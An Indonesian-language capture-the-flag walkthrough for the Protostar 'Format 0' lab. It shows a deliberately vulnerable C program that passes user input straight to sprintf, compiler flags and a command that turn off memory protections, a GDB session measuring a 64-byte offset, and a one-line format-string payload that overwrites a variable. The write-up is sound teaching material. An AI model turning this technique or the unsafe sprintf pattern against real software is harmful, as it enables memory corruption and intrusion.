Protostar Format 0

Pendahuluan

Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada variabel yang salah menggunakan pointer dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.

Alat dan Bahan

Fail: vuln.c Kompiler: GCC Debugger: GDB Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pengumpulan Infomasi

Jalankan program secara normal terlebih dahulu.

# ./vuln A

Program tersebut menerima argumen melalui command line.

Identifikasi Kelemahan

Berdasarkan source code diatas terdapat kelemahan format string pada fungsi sprintf. Tujuan akhirnya adalah menimpa variabel target dengan nilai 0xdeadbeef. Informasi yang diperlukan adalah jarak antara alamat variabel target dan buffer, untuk mendapatkannya bisa menggunakan GDB.

$ gdb -q vuln
Reading symbols from vuln...done.

gdb-peda$ b vuln
Breakpoint 1 at 0x8048441: file vuln.c, line 11.

gdb-peda$ r A
...

gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0xffffd695 --> 0x434c0041 ('A')
EBX: 0x0 
ECX: 0xffffd450 --> 0x2 
EDX: 0xffffd474 --> 0x0 
ESI: 0xf7fa5000 --> 0x1b1db0 
EDI: 0xf7fa5000 --> 0x1b1db0 
EBP: 0xffffd418 --> 0xffffd438 --> 0x0 
ESP: 0xffffd3c0 --> 0xffffd3ee --> 0xffff0000 --> 0x0 
EIP: 0x8048448 (<vuln+13>:    sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804843c <vuln+1>:    mov    ebp,esp
   0x804843e <vuln+3>:    sub    esp,0x58
   0x8048441 <vuln+6>:    mov    DWORD PTR [ebp-0xc],0x0
=> 0x8048448 <vuln+13>:    sub    esp,0x8
   0x804844b <vuln+16>:    push   DWORD PTR [ebp+0x8]
   0x804844e <vuln+19>:    lea    eax,[ebp-0x4c]
   0x8048451 <vuln+22>:    push   eax
   0x8048452 <vuln+23>:    call   0x8048320 <sprintf@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd3c0 --> 0xffffd3ee --> 0xffff0000 --> 0x0 
0004| 0xffffd3c4 --> 0xffffd4f0 --> 0xffffd697 ("LC_TELEPHONE=id_ID.UTF-8")
0008| 0xffffd3c8 --> 0xe0 
0012| 0xffffd3cc --> 0x0 
0016| 0xffffd3d0 --> 0xf7ffd000 --> 0x23f3c 
0020| 0xffffd3d4 --> 0xf7ffd918 --> 0x0 
0024| 0xffffd3d8 --> 0xffffd3f0 --> 0xffffffff 
0028| 0xffffd3dc --> 0x8048253 ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
13      sprintf(buffer, string);
gdb-peda$ p $ebp-0xc
$1 = (void *) 0xffffd40c
gdb-peda$ p $ebp-0x4c
$2 = (void *) 0xffffd3cc

gdb-peda$ q
$ python
>>> 0xffffd40c-0xffffd3cc
64

Jaraknya adalah 64 bytes.

Eksploitasi

Untuk menyelesaikannya, bisa menggunakan script ini.

./vuln %64x`perl -e 'print "\xef\xbe\xad\xde"'`
you have hit the target correctly :)
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.

Referensi

results matching ""

    No results matching ""